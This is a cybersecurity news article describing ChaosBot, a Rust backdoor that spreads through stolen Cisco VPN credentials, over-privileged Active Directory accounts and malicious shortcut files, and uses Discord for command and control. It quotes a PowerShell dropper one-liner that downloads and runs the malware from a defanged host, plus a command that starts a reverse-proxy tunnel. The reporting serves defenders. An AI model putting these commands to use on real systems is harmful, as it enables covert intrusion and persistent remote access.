New Chaosbot Leveraging CiscoVPN and Active Directory Passwords to Execute Network Commands
In late September 2025, ChaosBot emerged as an advanced Rust-based backdoor that targets enterprise networks. Initial investigations identified the exploitation of compromised CiscoVPN credentials and over-privileged Active Directory (AD) service…
In late September 2025, ChaosBot emerged as an advanced Rust-based backdoor that targets enterprise networks. Initial investigations identified the exploitation of compromised CiscoVPN credentials and over-privileged Active Directory (AD) service accounts as the primary entry methods used by threat actors.
Once access is gained, ChaosBot is deployed using side-loading techniques with the legitimate Microsoft Edge component identity_helper.exe located in the C:\Users\Public\Libraries directory.
The malware's implementation in Rust and its use of Discord for command and control (C2) operations highlight its innovative integration of modern development practices and misuse of popular services.
Analysts at eSentire reported that the threat actor behind ChaosBot used a Discord profile named “chaos_00019” to conceal communications within social platforms.
The malware primarily targets Vietnamese-speaking environments, although it has also been tested on other targets.
The abuse of VPN credentials and over-privileged AD accounts allows for seamless WMI-based remote execution, enabling widespread deployment before detection.
After the initial compromise, ChaosBot conducts reconnaissance and establishes a fast reverse proxy (frp) tunnel to maintain persistent access. The malware downloads frp and its configuration file ( node.ini ) into C:\Users\Public\Music and launches the proxy using a PowerShell command:
In late September 2025, ChaosBot emerged as an advanced Rust-based backdoor that targets enterprise networks.
powershell -Command "$OutputEncoding = [System.Text.Encoding]::UTF8; C:\Users\Public\Music\node.exe -c C:\Users\Public\Music\node.ini"
This process creates a hidden communication channel over port 7000 to a remote AWS host, bypassing perimeter defenses and supporting further lateral movement.
The core infection mechanism of ChaosBot utilizes two main vectors: credential-based access and malicious Windows shortcuts. The credential-based method involves using valid CiscoVPN credentials and an over-privileged AD account named “serviceaccount” to execute WMI commands, deploying the ChaosBot payload ( msedge_elf.dll ) on remote hosts.
The shortcut vector includes phishing emails containing .lnk files that execute a PowerShell one-liner to download and run ChaosBot while opening a decoy PDF themed after the State Bank of Vietnam to distract the user.
This PowerShell command is structured as follows:
powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'hxxps://malicious-domain/dropper.exe' -OutFile $env:Temp\chaosbot.exe; Start-Process $env:Temp\chaosbot.exe"
Upon execution, ChaosBot verifies its embedded Discord bot token with a GET request to https://discord.com/api/v10/users/@me and creates a dedicated channel using a POST request to https://discord.com/api/v10/guilds/<GUILD_ID>/channels , named after the victim's hostname.
Shell commands fetched from Discord messages are executed in new PowerShell processes, with UTF-8 encoding directives ensuring output integrity. Results, including standard output, error messages, screenshots, or file attachments, are sent back to the threat actor's Discord channel via multipart/form-data POST requests.
This dual-vector strategy—leveraging credential exploitation and social engineering with malicious shortcuts—alongside the utilization of legitimate services for C2, renders ChaosBot difficult to detect and remedy. Its use of built-in Windows binaries and strict encoding practices further obscure its presence in targeted environments.
Based on reporting by Cyber Security News.